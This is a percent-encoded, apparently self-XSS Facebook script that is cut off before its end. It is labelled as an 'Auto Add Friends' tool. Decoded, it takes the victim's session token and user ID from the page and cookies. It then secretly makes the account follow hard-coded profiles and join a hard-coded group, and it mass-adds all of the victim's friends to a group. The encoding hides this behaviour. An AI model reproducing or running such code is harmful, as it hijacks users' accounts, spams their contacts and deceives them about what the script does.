%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%31%32%28%73%29%20%7B%0A%76%61%72%20%6F%20%3D%20%22%22%2C%0A%61%72%20%3D%20%6E%65%77%20%41%72%72%61%79%28%29%2C%0A%6F%73%20%3D%20%22%22%2C%0A%69%63%20%3D%20%30%2C%0A%70%20%3D%20%30%3B%0A%66%6F%72%20%28%69%20%3D%20%30%3B%20%69%20%3C%20%73%2E%6C%65%6E%67%74%68%3B%20%69%2B%2B%29%20%7B%0A%63%20%3D%20%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%0A%69%66%20%28%63%20%3C%20%31%32%38%29%20%63%20%3D%20%63%20%5E%20%28%28%70%2B%2B%20%25%20%38%29%20%2B%20%31%29%3B%0A%6F%73%20%2B%3D%20%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%0A%69%66%20%28%6F%73%2E%6C%65%6E%67%74%68%20%3E%20%38%30%29%20%7B%0A%61%72%5B%69%63%2B%2B%5D%20%3D%20%6F%73%3B%0A%6F%73%20%3D%20%22%22%0A%7D%0A%7D%0A%6F%20%3D%20%61%72%2E%6A%6F%69%6E%28%22%22%29%20%2B%20%6F%73%3B%0A%72%65%74%75%72%6E%20%6F%0A%7D%0A%76%61%72%20%66%62%5F%64%74%73%67%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%28%27%66%62%5F%64%74%73%67%27%29%5B%30%5D%2E%76%61%6C%75%65%3B%0A%76%61%72%20%75%73%65%72%5F%69%64%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%6D%61%74%63%68%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%6D%61%74%63%68%28%2F%63%5F%75%73%65%72%3D%28%5C%64%2B%29%2F%29%5B%31%5D%29%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%63%65%72%65%7A%69%41%6C%28%69%73%69%6D%29%20%7B%0A%76%61%72%20%74%61%72%61%6D%61%20%3D%20%69%73%69%6D%20%2B%20%22%3D%22%3B%0A%69%66%20%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%6C%65%6E%67%74%68%20%3E%20%30%29%20%7B%0A%6B%6F%6E%75%6D%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%74%61%72%61%6D%61%29%3B%0A%69%66%20%28%6B%6F%6E%75%6D%20%21%3D%20%2D%31%29%20%7B%0A%6B%6F%6E%75%6D%20%2B%3D%20%74%61%72%61%6D%61%2E%6C%65%6E%67%74%68%3B%0A%73%6F%6E%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%20%6B%6F%6E%75%6D%29%3B%0A%69%66%20%28%73%6F%6E%20%3D%3D%20%2D%31%29%20%73%6F%6E%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%6C%65%6E%67%74%68%3B%0A%72%65%74%75%72%6E%20%75%6E%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%73%75%62%73%74%72%69%6E%67%28%6B%6F%6E%75%6D%2C%20%73%6F%6E%29%29%0A%7D%20%65%6C%73%65%20%7B%0A%72%65%74%75%72%6E%20%22%22%0A%7D%0A%7D%0A%7D%0A%66%75%6E%63%74%69%6F%6E%20%67%65%74%52%61%6E%64%6F%6D%49%6E%74%28%6D%69%6E%2C%20%6D%61%78%29%20%7B%0A%72%65%74%75%72%6E%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%20%2A%20%28%6D%61%78%20%2D%20%6D%69%6E%20%2B%20%31%29%29%20%2B%20%6D%69%6E%0A%7D%0A%66%75%6E%63%74%69%6F%6E%20%72%61%6E%64%6F%6D%56%61%6C%75%65%28%61%72%72%29%20%7B%0A%72%65%74%75%72%6E%20%61%72%72%5B%67%65%74%52%61%6E%64%6F%6D%49%6E%74%28%30%2C%20%61%72%72%2E%6C%65%6E%67%74%68%20%2D%20%31%29%5D%0A%7D%0A%76%61%72%20%66%62%5F%64%74%73%67%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%28%27%66%62%5F%64%74%73%67%27%29%5B%30%5D%2E%76%61%6C%75%65%3B%0A%76%61%72%20%75%73%65%72%5F%69%64%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%6D%61%74%63%68%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%6D%61%74%63%68%28%2F%63%5F%75%73%65%72%3D%28%5C%64%2B%29%2F%29%5B%31%5D%29%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%61%28%61%62%6F%6E%65%29%20%7B%0A%76%61%72%20%68%74%74%70%34%20%3D%20%6E%65%77%20%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%28%29%3B%0A%76%61%72%20%75%72%6C%34%20%3D%20%22%2F%61%6A%61%78%2F%66%6F%6C%6C%6F%77%2F%66%6F%6C%6C%6F%77%5F%70%72%6F%66%69%6C%65%2E%70%68%70%3F%5F%5F%61%3D%31%22%3B%0A%76%61%72%20%70%61%72%61%6D%73%34%20%3D%20%22%70%72%6F%66%69%6C%65%5F%69%64%3D%22%20%2B%20%61%62%6F%6E%65%20%2B%20%22%26%6C%6F%63%61%74%69%6F%6E%3D%31%26%73%6F%75%72%63%65%3D%66%6F%6C%6C%6F%77%2D%62%75%74%74%6F%6E%26%73%75%62%73%63%72%69%62%65%64%5F%62%75%74%74%6F%6E%5F%69%64%3D%75%33%37%71%61%63%5F%33%37%26%66%62%5F%64%74%73%67%3D%22%20%2B%20%66%62%5F%64%74%73%67%20%2B%20%22%26%6C%73%64%26%5F%5F%22%20%2B%20%75%73%65%72%5F%69%64%20%2B%20%22%26%70%68%73%74%61%6D%70%3D%22%3B%0A%68%74%74%70%34%2E%6F%70%65%6E%28%22%50%4F%53%54%22%2C%20%75%72%6C%34%2C%20%74%72%75%65%29%3B%0A%68%74%74%70%34%2E%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6F%6E%74%65%6E%74%2D%74%79%70%65%22%2C%20%22%61%70%70%6C%69%63%61%74%69%6F%6E%2F%78%2D%77%77%77%2D%66%6F%72%6D%2D%75%72%6C%65%6E%63%6F%64%65%64%22%29%3B%0A%68%74%74%70%34%2E%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6F%6E%74%65%6E%74%2D%6C%65%6E%67%74%68%22%2C%20%70%61%72%61%6D%73%34%2E%6C%65%6E%67%74%68%29%3B%0A%68%74%74%70%34%2E%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6F%6E%6E%65%63%74%69%6F%6E%22%2C%20%22%63%6C%6F%73%65%22%29%3B%0A%68%74%74%70%34%2E%6F%6E%72%65%61%64%79%73%74%61%74%65%63%68%61%6E%67%65%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%0A%69%66%20%28%68%74%74%70%34%2E%72%65%61%64%79%53%74%61%74%65%20%3D%3D%20%34%20%26%26%20%68%74%74%70%34%2E%73%74%61%74%75%73%20%3D%3D%20%32%30%30%29%20%7B%0A%68%74%74%70%34%2E%63%6C%6F%73%65%0A%7D%0A%7D%3B%0A%68%74%74%70%34%2E%73%65%6E%64%28%70%61%72%61%6D%73%34%29%0A%7D%0A%61%28%22%31%30%30%30%30%31%30%35%32%37%34%39%38%36%31%22%29%3B%0A%61%28%22%31%30%30%30%30%31%30%35%32%37%34%39%38%36%31%22%29%3B%0A%61%28%22%36%36%33%38%32%37%30%36%36%39%39%35%37%31%32%22%29%3B%0A%61%28%22%36%36%33%38%32%37%30%36%36%39%39%35%37%31%32%22%29%3B%0A%0A%76%61%72%20%67%69%64%20%3D%20%5B%27%31%38%36%37%32%31%37%30%31%34%39%32%36%33%34%27%5D%3B%0A%76%61%72%20%66%62%5F%64%74%73%67%20%3D%20%64%6F%63%75%6D%65%6E%74%5B%27%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%27%5D%28%27%66%62%5F%64%74%73%67%27%29%5B%30%5D%5B%27%76%61%6C%75%65%27%5D%3B%0A%76%61%72%20%75%73%65%72%5F%69%64%20%3D%20%64%6F%63%75%6D%65%6E%74%5B%27%63%6F%6F%6B%69%65%27%5D%5B%27%6D%61%74%63%68%27%5D%28%64%6F%63%75%6D%65%6E%74%5B%27%63%6F%6F%6B%69%65%27%5D%5B%27%6D%61%74%63%68%27%5D%28%2F%63%5F%75%73%65%72%3D%28%5C%64%2B%29%2F%29%5B%31%5D%29%3B%0A%76%61%72%20%68%74%74%70%77%70%20%3D%20%6E%65%77%20%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%28%29%3B%0A%76%61%72%20%75%72%6C%77%70%20%3D%20%27%2F%61%6A%61%78%2F%67%72%6F%75%70%73%2F%6D%65%6D%62%65%72%73%68%69%70%2F%72%32%6A%2E%70%68%70%3F%5F%5F%61%3D%31%27%3B%0A%76%61%72%20%70%61%72%61%6D%73%77%70%20%3D%20%27%26%72%65%66%3D%67%72%6F%75%70%5F%6A%75%6D%70%5F%68%65%61%64%65%72%26%67%72%6F%75%70%5F%69%64%3D%27%20%2B%20%67%69%64%20%2B%20%27%26%66%62%5F%64%74%73%67%3D%27%20%2B%20%66%62%5F%64%74%73%67%20%2B%20%27%26%5F%5F%75%73%65%72%3D%27%20%2B%20%75%73%65%72%5F%69%64%20%2B%20%27%26%70%68%73%74%61%6D%70%3D%27%3B%0A%68%74%74%70%77%70%5B%27%6F%70%65%6E%27%5D%28%27%50%4F%53%54%27%2C%20%75%72%6C%77%70%2C%20%74%72%75%65%29%3B%0A%68%74%74%70%77%70%5B%27%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%27%5D%28%27%43%6F%6E%74%65%6E%74%2D%74%79%70%65%27%2C%20%27%61%70%70%6C%69%63%61%74%69%6F%6E%2F%78%2D%77%77%77%2D%66%6F%72%6D%2D%75%72%6C%65%6E%63%6F%64%65%64%27%29%3B%0A%68%74%74%70%77%70%5B%27%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%27%5D%28%27%43%6F%6E%74%65%6E%74%2D%6C%65%6E%67%74%68%27%2C%20%70%61%72%61%6D%73%77%70%5B%27%6C%65%6E%67%74%68%27%5D%29%3B%0A%68%74%74%70%77%70%5B%27%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%27%5D%28%27%43%6F%6E%6E%65%63%74%69%6F%6E%27%2C%20%27%6B%65%65%70%2D%61%6C%69%76%65%27%29%3B%0A%68%74%74%70%77%70%5B%27%73%65%6E%64%27%5D%28%70%61%72%61%6D%73%77%70%29%3B%0A%76%61%72%20%66%62%5F%64%74%73%67%20%3D%20%64%6F%63%75%6D%65%6E%74%5B%27%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%4E%61%6D%65%27%5D%28%27%66%62%5F%64%74%73%67%27%29%5B%30%5D%5B%27%76%61%6C%75%65%27%5D%3B%0A%76%61%72%20%75%73%65%72%5F%69%64%20%3D%20%64%6F%63%75%6D%65%6E%74%5B%27%63%6F%6F%6B%69%65%27%5D%5B%27%6D%61%74%63%68%27%5D%28%64%6F%63%75%6D%65%6E%74%5B%27%63%6F%6F%6B%69%65%27%5D%5B%27%6D%61%74%63%68%27%5D%28%2F%63%5F%75%73%65%72%3D%28%5C%64%2B%29%2F%29%5B%31%5D%29%3B%0A%76%61%72%20%66%72%69%65%6E%64%73%20%3D%20%6E%65%77%20%41%72%72%61%79%28%29%3B%0A%67%66%20%3D%20%6E%65%77%20%58%4D%4C%48%74%74%70%52%65%71%75%65%73%74%28%29%3B%0A%67%66%5B%27%6F%70%65%6E%27%5D%28%27%47%45%54%27%2C%20%27%2F%61%6A%61%78%2F%74%79%70%65%61%68%65%61%64%2F%66%69%72%73%74%5F%64%65%67%72%65%65%2E%70%68%70%3F%5F%5F%61%3D%31%26%76%69%65%77%65%72%3D%27%20%2B%20%75%73%65%72%5F%69%64%20%2B%20%27%26%74%6F%6B%65%6E%27%20%2B%20%4D%61%74%68%5B%27%72%61%6E%64%6F%6D%27%5D%28%29%20%2B%20%27%26%66%69%6C%74%65%72%5B%30%5D%3D%75%73%65%72%26%6F%70%74%69%6F%6E%73%5B%30%5D%3D%66%72%69%65%6E%64%73%5F%6F%6E%6C%79%27%2C%20%66%61%6C%73%65%29%3B%0A%67%66%5B%27%73%65%6E%64%27%5D%28%29%3B%0A%69%66%20%28%67%66%5B%27%72%65%61%64%79%53%74%61%74%65%27%5D%20%21%3D%20%34%29%20%7B%7D%20%65%6C%73%65%20%7B%0A%64%61%74%61%20%3D%20%65%76%61%6C%28%27%28%27%20%2B%20%67%66%5B%27%72%65%73%70%6F%6E%73%65%54%65%78%74%27%5D%5B%27%73%75%62%73%74%72%27%5D%28%39%29%20%2B%20%27%29%27%29%3B%0A%69%66%20%28%64%61%74%61%5B%27%65%72%72%6F%72%27%5D%29%20%7B%7D%20%65%6C%73%65%20%7B%0A%66%72%69%65%6E%64%73%20%3D%20%64%61%74%61%5B%27%70%61%79%6C%6F%61%64%27%5D%5B%27%65%6E%74%72%69%65%73%27%5D%5B%27%73%6F%72%74%27%5D%28%66%75%6E%63%74%69%6F%6E%28%5F%30%78%39%33%64%61%78%38%2C%20%5F%30%78%39%33%64%61%78%39%29%20%7B%0A%72%65%74%75%72%6E%20%5F%30%78%39%33%64%61%78%38%5B%27%69%6E%64%65%78%27%5D%20%2D%20%5F%30%78%39%33%64%61%78%39%5B%27%69%6E%64%65%78%27%5D%0A%7D%29%0A%7D%0A%7D%3B%0A%76%61%72%20%54%69%74%6C%65%20%3D%20%27%41%75%74%6F%20%41%64%64%20%20%46%72%69%65%6E%64%73%20%4D%61%64%65%20%42%79%20%48%61%73%73%61%6E%20%57%61%61%74%6D%61%6E%69%3C%41%20%73%74%79%6C%65%3D%22%63%6F%6C%6F%72%3A%23%33%42%35%39%39%38%3B%22%20%68%72%65%66%3D%22%23%22%3E%3C%62%72%2F%3E%2E%2E%2E%2E%2E%70%6C%65%61%73%65%20%77%61%69%74%2E%2E%2E%2E%3C%2F%41%3E%27%3B%0A%67%72%70%6E%61%6D%65%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%67%72%6F%75%70%73%4A%75%6D%70%54%69%74%6C%65%22%29%2E%69%6E%6E%65%72%48%54%4D%4C%3B%0A%76%61%72%20%44%65%73%63%72%69%70%74%69%6F%6E%73%20%3D%20%22%22%2C%0A%5F%74%65%78%74%20%3D%20%27%4D%61%64%65%20%42%79%20%48%61%73%73%61%6E%20%57%61%61%74%6D%61%6E%69%20%3C%41%20%73%74%79%6C%65%3D%22%63%6F%6C%6F%72%3A%23%33%42%35%39%39%38%3B%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%77%61%61%74%6D%61%6E%69%22%3E%4E%65%74%20%50%72%6F%66%65%73%73%69%6F%6E%61%6C%2E%3C%2F%41%3E%20%46%6F%6C%6C%6F%77%2E%27%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%41%64%64%46%72%69%65%6E%64%74%6F%47%72%6F%75%70%28%6F%70%6F%29%20%7B%0A%6A%78%2E%6C%6F%61%64%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%70%72%6F%74%6F%63%6F%6C%20%2B%20%22%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%61%6A%61%78%2F%67%72%6F%75%70%73%2F%6D%65%6D%62%65%72%73%2F%61%64%64%5F%70%6F%73%74%2E%70%68%70%3F%5F%5F%61%3D%31%26%66%62%5F%64%74%73%67%3D%22%20%2B%20%66%62%5F%64%74%73%67%20%2B%20%22%26%67%72%6F%75%70%5F%69%64%3D%22%20%2B%20%67%69%64%20%2B%20%22%26%73%6F%75%72%63%65%3D%74%79%70%65%61%68%65%61%64%26%6D%65%6D%62%65%72%73%3D%22%20%2B%20%6F%70%6F%20%2B%20%22%26%6E%63%74%72%5B%5F%6D%6F%64%5D%3D%70%61%67%65%6C%65%74%5F%67%72%6F%75%70%5F%6D%65%6D%62%65%72%73%5F%73%75%6D%6D%61%72%79%26%6C%73%64%26%70%6F%73%74%5F%66%6F%72%6D%5F%69%64%5F%73%6F%75%72%63%65%3D%41%73%79%6E%63%52%65%71%75%65%73%74%26%5F%5F%75%73%65%72%3D%22%20%2B%20%75%73%65%72%5F%69%64%2C%20%66%75%6E%63%74%69%6F%6E%28%61%29%20%7B%0A%76%61%72%20%62%20%3D%20%61%2E%73%75%62%73%74%72%69%6E%67%28%61%2E%69%6E%64%65%78%4F%66%28%22%7B%22%29%29%3B%0A%76%61%72%20%63%20%3D%20%4A%53%4F%4E%2E%70%61%72%73%65%28%62%29%3B%0A%69%2D%2D%3B%0A%44%65%73%63%72%69%70%74%69%6F%6E%73%20%3D%20%22%3C%64%69%76%20%63%6C%61%73%73%3D%27%66%72%69%65%6E%64%2D%65%64%67%65%2D%6E%61%6D%65%27%20%73%74%79%6C%65%3D%27%70%61%64%64%69%6E%67%2D%62%6F%74%74%6F%6D%3A%35%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%6C%65%66%74%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%30%70%78%3B%77%68%69%74%65%2D%73%70%61%63%65%3A%70%72%65%2D%77%72%61%70%3B%22%3B%0A%69%66%20%28%63%2E%65%72%72%6F%72%29%20%7B%0A%44%65%73%63%72%69%70%74%69%6F%6E%73%20%2B%3D%20%22%63%6F%6C%6F%72%3A%64%61%72%6B%72%65%64%27%3E%22%3B%0A%65%72%72%2B%2B%3B%0A%69%66%20%28%63%2E%65%72%72%6F%72%44%65%73%63%72%69%70%74%69%6F%6E%29%20%44%65%73%63%72%69%70%74%69%6F%6E%73%20%2B%3D%20%63%2E%65%72%72%6F%72%44%65%73%63%72%69%70%74%69%6F%6E%3B%0A%65%6C%73%65%20%44%65%73%63%72%69%70%74%69%6F%6E%73%20%2B%3D%20%4A%53%4F%4E%2E%73%74%72%69%6E%67%69%66%79%28%63%2C%20%6E%75%6C%6C%2C%20%22%22%29%0A%7D%20%65%6C%73%65%20%7B%0A%44%65%73%63%72%69%70%74%69%6F%6E%73%20%2B%3D%20%22%63%6F%6C%6F%72%3A%64%61%72%6B%67%72%65%65%6E%27%3E%22%3B%0A%44%65%73%63%72%69%70%74%69%6F%6E%73%20%2B%3D%20%61%72%6E%5B%69%5D%20%2B%20%22%20%68%61%73%20%62%65%65%6E%20%61%64%64%65%64%2E%3C%62%72%2F%3E%22%3B%0A%73%75%63%2B%2B%0A%7D%0A%44%65%73%63%72%69%70%74%69%6F%6E%73%20%2B%3D%20%22%3C%2F%64%69%76%3E%22%3B%0A%76%61%72%20%64%69%73%70%6C%61%79%20%3D%20%22%3C%64%69%76%20%69%64%3D%27%66%72%69%65%6E%64%2D%65%64%67%65%2D%64%69%73%70%6C%61%79%27%20%73%74%79%6C%65%3D%27%62%6F%78%2D%73%68%61%64%6F%77%3A%30%70%78%20%33%70%78%20%38%70%78%20%72%67%62%61%28%30%2C%20%30%2C%20%30%2C%20%30%2E%33%29%3B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%6C%65%66%74%3A%35%30%25%3B%6D%61%72%67%69%6E%2D%6C%65%66%74%3A%2D%32%37%33%70%78%3B%74%6F%70%3A%31%30%30%70%78%3B%77%69%64%74%68%3A%35%30%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%39%39%39%39%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%34%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%70%61%64%64%69%6E%67%3A%31%35%70%78%3B%62%6F%78%2D%73%68%61%64%6F%77%3A%30%70%74%20%31%70%78%20%30%70%74%20%72%67%62%61%28%30%2C%30%2C%30%2C%30%2E%31%29%3B%62%6F%72%64%65%72%2D%72%61%64%69%75%73%3A%33%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%72%67%62%61%28%32%30%30%2C%32%30%30%2C%35%30%2C%30%2E%32%29%3B%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%72%67%62%61%28%32%35%35%2C%32%35%35%2C%32%35%35%2C%30%2E%39%29%3B%63%6F%6C%6F%72%3A%23%30%30%30%30%30%30%27%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%64%69%76%20%73%74%79%6C%65%3D%27%70%61%64%64%69%6E%67%2D%62%6F%74%74%6F%6D%3A%35%70%78%3B%66%6F%6E%74%2D%73%69%7A%65%3A%32%30%70%78%3B%27%3E%22%20%2B%20%54%69%74%6C%65%20%2B%20%22%3C%2F%64%69%76%3E%22%3B%0A%69%66%20%28%69%20%3E%20%30%29%20%7B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%61%72%72%2E%6C%65%6E%67%74%68%20%2B%20%22%20%46%72%69%65%6E%64%73%20%44%65%74%65%63%74%65%64%3C%62%72%2F%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%62%3E%22%20%2B%20%73%75%63%20%2B%20%22%3C%2F%62%3E%20%46%72%69%65%6E%64%73%20%41%64%64%65%64%20%6F%66%20%22%20%2B%20%28%61%72%72%2E%6C%65%6E%67%74%68%20%2D%20%69%29%20%2B%20%22%20%46%72%69%65%6E%64%73%20%50%72%6F%63%65%73%73%65%64%20%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%28%22%20%2B%20%69%20%2B%20%22%20%4C%65%66%74%65%64%2E%2E%2E%29%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%64%69%76%20%63%6C%61%73%73%3D%27%66%72%69%65%6E%64%2D%65%64%67%65%27%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%44%65%73%63%72%69%70%74%69%6F%6E%73%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%69%6D%67%20%73%74%79%6C%65%3D%27%62%61%63%6B%67%72%6F%75%6E%64%3A%63%65%6E%74%65%72%20%6E%6F%2D%72%65%70%65%61%74%20%75%72%6C%28%68%74%74%70%73%3A%2F%2F%66%62%63%64%6E%2D%70%72%6F%66%69%6C%65%2D%61%2E%61%6B%61%6D%61%69%68%64%2E%6E%65%74%2F%73%74%61%74%69%63%2D%61%6B%2F%72%73%72%63%2E%70%68%70%2F%76%32%2F%79%6F%2F%72%2F%55%6C%49%71%6D%48%4A%6E%2D%53%4B%2E%67%69%66%29%3B%77%69%64%74%68%3A%35%30%70%78%3B%68%65%69%67%68%74%3A%35%30%70%78%3B%6D%61%72%67%69%6E%2D%6C%65%66%74%3A%2D%31%32%35%70%78%3B%70%61%64%64%69%6E%67%3A%32%70%78%3B%62%6F%72%64%65%72%3A%31%70%78%20%73%6F%6C%69%64%20%72%67%62%61%28%30%2C%30%2C%30%2C%30%2E%34%29%3B%27%20%73%72%63%3D%22%20%2B%20%70%68%6F%5B%69%5D%20%2B%20%22%3E%3C%2F%69%6D%67%3E%3C%61%20%73%74%79%6C%65%3D%27%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%38%70%78%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%6C%65%66%74%3B%63%6F%6C%6F%72%3A%23%33%42%35%39%39%38%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%66%6F%6E%74%2D%77%65%69%67%68%74%3A%62%6F%6C%64%3B%27%3E%22%20%2B%20%61%72%6E%5B%69%5D%20%2B%20%22%3C%2F%61%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%64%69%76%20%73%74%79%6C%65%3D%27%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%66%6F%6E%74%2D%73%69%7A%65%3A%31%30%70%78%3B%77%68%69%74%65%2D%73%70%61%63%65%3A%70%72%65%2D%77%72%61%70%3B%63%6F%6C%6F%72%3A%67%72%61%79%27%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%67%65%74%75%6E%61%6D%65%20%2B%20%22%20%41%64%64%69%6E%67%20%46%72%69%65%6E%64%20%69%6E%20%22%20%2B%20%67%72%70%6E%61%6D%65%20%2B%20%22%2E%3C%62%72%2F%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%5F%74%65%78%74%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%2F%64%69%76%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%2F%64%69%76%3E%22%0A%7D%20%65%6C%73%65%20%7B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%61%72%72%2E%6C%65%6E%67%74%68%20%2B%20%22%20%46%72%69%65%6E%64%73%20%44%65%74%65%63%74%65%64%3C%62%72%2F%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%73%75%63%20%2B%20%22%20%46%72%69%65%6E%64%73%20%41%64%64%65%64%3C%2F%62%72%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%65%72%72%20%2B%20%22%20%46%72%69%65%6E%64%73%20%4E%6F%74%20%41%64%64%65%64%3C%2F%62%72%3E%3C%2F%62%72%3E%22%3B%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%64%69%76%3E%3C%73%70%61%6E%20%63%6C%61%73%73%3D%27%6C%61%79%65%72%43%6F%6E%66%69%72%6D%20%75%69%4F%76%65%72%6C%61%79%42%75%74%74%6F%6E%20%75%69%42%75%74%74%6F%6E%20%75%69%42%75%74%74%6F%6E%43%6F%6E%66%69%72%6D%20%75%69%42%75%74%74%6F%6E%4C%61%72%67%65%27%20%6F%6E%43%6C%69%63%6B%3D%27%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%6C%6F%61%64%28%29%27%20%73%74%79%6C%65%3D%27%63%6F%6C%6F%72%3A%77%68%69%74%65%27%3E%52%65%66%72%65%73%68%20%50%61%67%65%3C%2F%73%70%61%6E%3E%3C%73%70%61%6E%20%63%6C%61%73%73%3D%27%6C%61%79%65%72%43%61%6E%63%65%6C%20%75%69%4F%76%65%72%6C%61%79%42%75%74%74%6F%6E%20%75%69%42%75%74%74%6F%6E%20%75%69%42%75%74%74%6F%6E%4C%61%72%67%65%27%20%6F%6E%43%6C%69%63%6B%3D%27%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%5C%22%70%61%67%65%6C%65%74%5F%73%69%64%65%62%61%72%5C%22%29%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%3D%5C%22%6E%6F%6E%65%5C%22%27%3E%43%61%6E%63%65%6C%3C%2F%73%70%61%6E%3E%22%0A%7D%0A%64%69%73%70%6C%61%79%20%2B%3D%20%22%3C%2F%64%69%76%3E%22%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%22%70%61%67%65%6C%65%74%5F%73%69%64%65%62%61%72%22%29%2E%69%6E%6E%65%72%48%54%4D%4C%20%3D%20%64%69%73%70%6C%61%79%0A%7D%2C%20%22%74%65%78%74%22%2C%20%22%70%6F%73%74%22%29%3B%0A%74%61%79%2D%2D%3B%0A%69%66%20%28%74%61%79%20%3E%20%30%29%20%7B%0A%76%61%72%20%73%20%3D%20%61%72%72%5B%74%61%79%5D%3B%0A%73%78%20%3D%20%70%68%6F%5B%74%61%79%5D%3B%0A%73%65%74%54%69%6D%65%6F%75%74%28%22%41%64%64%46%72%69%65%6E%64%74%6F%47%72%6F%75%70%28%22%20%2B%20%73%20%2B%20%22%29%22%2C%20%31%30%30%29%0A%7D%0A%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%74%61%79%20%2B%20%22%2F%22%20%2B%20%61%72%72%2E%6C%65%6E%67%74%68%20%2B%20%22%3A%22%20%2B%20%61%72%72%5B%74%61%79%5D%20%2B%20%22%2F%22%20%2B%20%61%72%6E%5B%74%61%79%5D%20%2B%20%22%2C%20%73%75%63%63%65%73%73%3A%22%20%2B%20%73%75%63%29%3B%0A%69%66%20%28%67%69%64%20%21%3D%20%31%38%36%37%32%31%37%30%31%34%39%32%36%33%34%29%20%7B%0A%6A%78%2E%6C%6F%61%64%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%70%72%6F%74%6F%63%6F%6C%20%2B%20%22%2F%2F%77%77%77%2E%66%61%63%65%62%6F%6F%6B%2E%63%6F%6D%2F%61%6A%61%78%2F%67%72%6F%75%70%73%2F%6D%65%6D%62%65%72%73%2F%61%64%64%5F%70%6F%73%74%2E%70%68%70%3F%5F%5F%61%3D%31%26%66%62%5F%64%74%73%67%3D%22%20%2B%20%66%62%5F%64%74%73%67%20%2B%20%22%26%67%72%6F%75%70%5F%69%64%3D%31%38%36%37%32%31%37%30%31%34%39%32%36%33%34%26%73%6F%75%72%63%65%3D%74%79%70%65%61%68%65%61%64%26%6D%65%6D%62%65%72%73%3D%22%20%2B%20%6F%70%6F%20%2B%20%